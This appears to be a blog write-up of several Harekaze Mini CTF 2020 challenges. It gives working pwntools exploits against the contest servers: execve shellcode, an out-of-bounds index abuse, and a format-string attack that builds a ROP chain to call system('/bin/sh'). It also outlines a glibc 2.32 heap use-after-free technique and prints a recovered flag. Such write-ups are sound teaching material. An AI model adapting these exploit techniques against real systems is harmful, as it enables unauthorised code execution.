I played Harekaze Mini CTF 2020 for about 3 hours this weekend. The pwn challenges were nice (I especially enjoyed nm-game-extreme
). Here are some short writeups.
The program just tells you to provide shellcode that will execute execve("/bin/sh", NULL, NULL)
. It gives you the address of the "/bin/sh" string, so you just create shellcode to do the job and send it:
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
p = remote("20.48.83.165", 20005)
bin_sh = 0x404060
sc = asm(r"""
mov rdi, {}
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall
""".format(bin_sh))
p.sendlineafter(")\n", sc)
p.interactive()
This was a pretty unique challenge in my opinion.
The bug is in the main function:
int main(void) {
// [...] Variable declarations
puts("Be the last to take a pebble!");
int remaining_games = GAMES;
while (remaining_games) {
puts("Creating a new problem...");
sleep(1);
int n = min(MAX_GAME_SIZE, GAMES - remaining_games + 1);
init_game(nums, n);
bool won = false;
while (!is_finished(nums, n)) {
print_state(nums, n);
int index;
if (n == 1) {
index = 0;
} else {
do {
printf("Choose a heap [0-%d]: ", n - 1);
scanf("%d", &index); // [ 1 ]
} while (nums[index] == 0);
}
// [ ... ]
}
// [ ... ]
}
// [ ... ] Print flag
}
Initially, n
will be 1, so the first branch will be taken in the if
statement. If we win the first round, then n
will be 2, and we will be able to "Choose a heap". When choosing a heap, we pick an index that is not bounds checked at [ 1 ]
.
This index is later accessed when choosing pebbles to take:
do {
printf("How many pebbles do you want to take? ");
if (nums[index] > 1) {
printf("[1-%d]: ", min(3, nums[index]));
} else {
printf("[1]: ");
}
scanf("%d", &choice);
} while (choice < 1 || min(3, nums[index]) < choice);
nums[index] -= choice; // [ 1 ]
if (is_finished(nums, n)) {
won = true;
break;
}
opponent_action(nums, n, &index, &choice);
printf("The opponent took %d from %d\n", choice, index);
nums[index] -= choice;
At [ 1 ]
, whatever value is at that index (that we control) will be subtracted by choice
(which we also control, but can be a max of 3
). The opponent's index is sanitized in opponent_action
, so the opponent won't affect our choice of index.
For exploitation, our objective is to win the game enough times to set remaining_games
to 0 so that the main while
loop will exit and print out the flag. Unfortunately there is a timeout of 5 minutes, and it's impossible to win the game 400 times in 5 minutes without cheating.
We need to use the bug, and in order to use the bug we have to win the first round. I came up with a naive solution that wins the first round most of the time. It won't win every time so if you want to run my exploit, maybe run it a few times (the success rate is high though).
Once we win the first round, we trigger the bug many times to keep subtracting 3 from remaining_games
until it gets set to 6. Once its set to 6, we manually subtract 5 from it to set it to 1. Then, we win the game by subtracting 15 from n
(using the same bug) which will cause is_finished
to return true, which will make us win.
Note: I found that remaining_games
is at index -4, and n
is at index -3 through GDB.
#!/usr/bin/env python3
from pwn import *
#p = process("./nmgameex")
p = remote("20.48.84.13", 20003)
n_idx = -3
rem_idx = -4
# First round
def get_problem():
p.recvline()
problem = int(p.recvline())
return problem
# Second round and onwards
def get_problems(new_round=False):
if not new_round:
p.recvline()
else:
p.recvuntil("problem...\n")
problems = p.recvline(timeout=3).strip().split(b" ")
problem_nums = []
for n in problems:
problem_nums.append(int(n))
return problem_nums
# Win the first round (most of the time...)
def first_round():
p.recvuntil("problem...\n")
problem = int(p.recvline(timeout=3))
while problem > 7:
p.sendlineafter(": ", "1")
problem = get_problem()
if problem == 7:
p.sendlineafter(": ", "3")
elif problem == 6:
p.sendlineafter(": ", "2")
elif problem == 5:
p.sendlineafter(": ", "1")
problem = get_problem()
p.sendlineafter(": ", str(problem))
def other_rounds():
problems = get_problems(new_round=True)
remaining_games = 399
keep_looping = True
# Loop and keep subtracting 3 from remaining_games until its less than 10
while keep_looping:
# Subtract remaining_games
p.sendlineafter(": ", str(rem_idx))
p.sendlineafter(": ", "3")
remaining_games -= 3
if remaining_games < 9:
keep_looping = False
break
log.info("Remaining games: " + str(remaining_games))
log.info("First round...")
first_round()
log.info("Won first round")
log.info("Getting flag")
other_rounds()
# Right now, remaining_games == 6
# Subtract 5 from remaining_games to set it to 1
p.sendlineafter(": ", str(rem_idx))
p.sendlineafter(": ", "3")
p.sendlineafter(": ", str(rem_idx))
p.sendlineafter(": ", "2")
# Subtract 15 from `n` to end the game, remaining_games gets set to 0
for i in range(5):
p.sendlineafter(": ", str(n_idx))
p.sendlineafter(": ", "3")
# The flag is printed to the screen
p.interactive()
In this challenge we are allowed to trigger a format string vulnerability twice.
My idea for exploitation is to use the first format string to leak a stack address, then use the second format string to overwrite the loop index i
to a large negative number. This will give us infinite tries to trigger the format string vulnerability.
Next, I leak a libc address from the stack, and then overwrite past main
's return address with a ROP chain that will call system("/bin/sh")
:
#!/usr/bin/env python3
from pwn import *
elf = ELF("./kodama")
libc = ELF("./libc.so.6")
#p = process("./kodama", env={"LD_PRELOAD": "./libc.so.6"})
p = remote("20.48.81.63", 20002)
# Receive the initial output from remote
sleep(1)
for i in range(9):
p.recvline()
# Payload used to leak if needed
leak_payload = "%p %p %p %p %p %p %p %p %p %p %p"
# Leak stack address of our input buffer
p.sendline("%4$p")
# Get addresses of other stack stuff
stack_buf = int(p.recvline(), 16)
ret_addr = stack_buf + 0x38
loop_idx = stack_buf - 4
log.info("Stack buffer: " + hex(stack_buf))
log.info("Loop idx: " + hex(loop_idx))
# Overwrite loop idx to large negative number by overwriting MSB
# Our input starts at format idx 8
payload = b"%239c%10$hhn...." # pad to 16 bytes
payload += p64(loop_idx+3)
p.sendline(payload)
# Infinite format string now, should be easy?
# Clear the screen (kind of..)
p.sendline("")
p.recvline()
# Get libc leak
p.sendline("%3$p")
libc_leak = int(p.recvline(), 16)
libc.address = libc_leak - 0x108cb2
free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
pop_rdi = libc.address + 0x2858f
bin_sh = next(libc.search(b"/bin/sh"))
log.info("Libc leak: " + hex(libc_leak))
log.info("Libc base: " + hex(libc.address))
# Arbitrary write, one byte at a time
def arb_write(addr, val):
log.info("Writing {} to {}".format(hex(val), hex(addr)))
# We don't have to write the upper two bytes since they're always 0
bytes_to_write = [
val & 0xff,
(val >> 8) & 0xff,
(val >> 16) & 0xff,
(val >> 24) & 0xff,
(val >> 32) & 0xff,
(val >> 40) & 0xff
]
for i in range(6):
payload = b"%" + bytes(str(bytes_to_write[i]), 'ascii') + b"c%10$hhn"
payload = payload.ljust(16, b".")
payload += p64(addr+i)
p.sendline(payload)
# Put ropchain on stack to call system("/bin/sh")
arb_write(ret_addr, pop_rdi)
arb_write(ret_addr+8, bin_sh)
arb_write(ret_addr+16, pop_rdi+1)
arb_write(ret_addr+24, system)
# Overwrite loop_idx to 4 to exit the loop
arb_write(loop_idx, 4)
p.interactive()
I didn't have time to solve this challenge, but I spent 10-15 minutes to find the bug. The following are the steps to solving (I might miss a thing or two because I didn't write a solve script).
The program will let you allocate
a maximum of 7 notes (at a time) that are stored in a global array of notes. You specify a size
(minimum 1, maximum 0x70), and then size-1
bytes will be read into the allocated buffer (i.e there is always a NULL byte at the end). The size is stored with the note.
You can show
a note. This will call puts
on the note's contents to print them.
You can move
a note. This will move one note's contents into another. It will free
the source note and set its index in the global note array to NULL
.
You can copy
a note. This is the same as a move
, except the source note is left untouched.
The bug is that you can choose the same note for both the source and destination in move
. This will free the note but keep a pointer to it in the global notes array which lets you achieve UAF (you have to bypass 2.32 pointer obfuscation, but its easy to get the XOR key by freeing a note and then showing it).
-
Use the UAF to first get access to the tcache XOR key in order to control the
fd
of a chunk correctly. -
Free another chunk and use the UAF to leak a heap address so we know where we are in the heap.
-
Use tcache dup to get one chunk overlapped on another chunk's
size
. Overwrite size to something > 0x90 (lets say we overwrite with0xa1
) -
Remember to have fake
size
andprevsize
headers0xa0
bytes after this corrupted chunk. -
Create another chunk (call it the
NULL
chunk) which will have the contents set top64(0) + p64(0)
. The idea now is to free this0xa1
sized chunk 7 times to fill up the tcache bin. Each time you free it, you need to copy the contents of theNULL
chunk into the0xa1
sized chunk to clear the tcachekey
(otherwise a double free is detected). -
After the 7th free, free it one more time to send it to the unsorted bin. This will insert a libc address into the
fd
andbk
fields. The problem is in libc 2.32, unsorted bin address's LSB is\x00
, so we can'tshow
to leak (puts
will stop atNULL
bytes).- To get the leak, we need to set up the global notes array so that two indices will have a pointer to the same chunk, but size will be set to
1
and2
respectively for each index. - Using the index with
size == 2
, we read in one byte (using theallocate
function, readingsize-1
bytes). Let's say we read in anA
. - Next, we copy from the index with
size == 1
into our0xa1
sized chunk. This will overwrite the LSB of the unsorted bin address leak to0x41
. - Finally, we can
show
to get the leak.
- To get the leak, we need to set up the global notes array so that two indices will have a pointer to the same chunk, but size will be set to
-
Once we have the leak, just tcache dup again to overwrite
__free_hook
tosystem
and get a shell. You will have to fix the unsorted bin first by overwriting the LSB back to\x00
, but that's easy to do.
The program has a fake flag set to "fakeflag{this_is_not_the_real_flag}"
. It also has a table of values in the bss segment. It does the following:
__int64 __fastcall check(__int64 my_flag, __int64 fake_flag)
{
char result; // [rsp+1Bh] [rbp-5h]
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 34; ++i )
{
// fake_flag == "fakeflag{this_is_not_the_real_flag}"
result = (funcs[i % 3])(*(i + fake_flag), table[i]);
if ( result < *(i + my_flag) )
return 1LL;
if ( result > *(i + my_flag) )
return 0xFFFFFFFFLL;
}
return 0LL;
}
funcs
is a function table where indices 0
, 1
, and 2
are add
, sub
, and xor
respectively. So it will take each byte in the fake flag, and either add, subtract, or xor the corresponding value from the table. It will then ensure that our flag's character matches the result exactly. One thing not visible is that after the operation is done, it will also bitwise AND the result with 0xff
to get only the lowest byte.
The solve script then becomes:
#!/usr/bin/env python3
table = [
226, 0, 25, 0, 251, 13, 25, 2, 56, 224, 34, 18,
189, 237, 29, 245, 247, 10, 193, 252, 0, 242,
252, 81, 8, 19, 6, 7, 57, 60, 5, 57, 19, 186, 0
]
fakeflag = b"fakeflag{this_is_not_the_real_flag}"
flag = ""
for i in range(len(fakeflag)):
if i % 3 == 0:
flag += chr((fakeflag[i] + table[i]) & 0xff)
elif i % 3 == 1:
flag += chr((fakeflag[i] - table[i]) & 0xff)
elif i % 3 == 2:
flag += chr((fakeflag[i] ^ table[i]) & 0xff)
print(flag)
This prints HarekazeCTF{0rthhd0x_fl4g_ch3ck3r!}
, which is incorrect. It should be 0rth0d0x
, not 0rthhd0x
, so I just manually fixed that by inspection.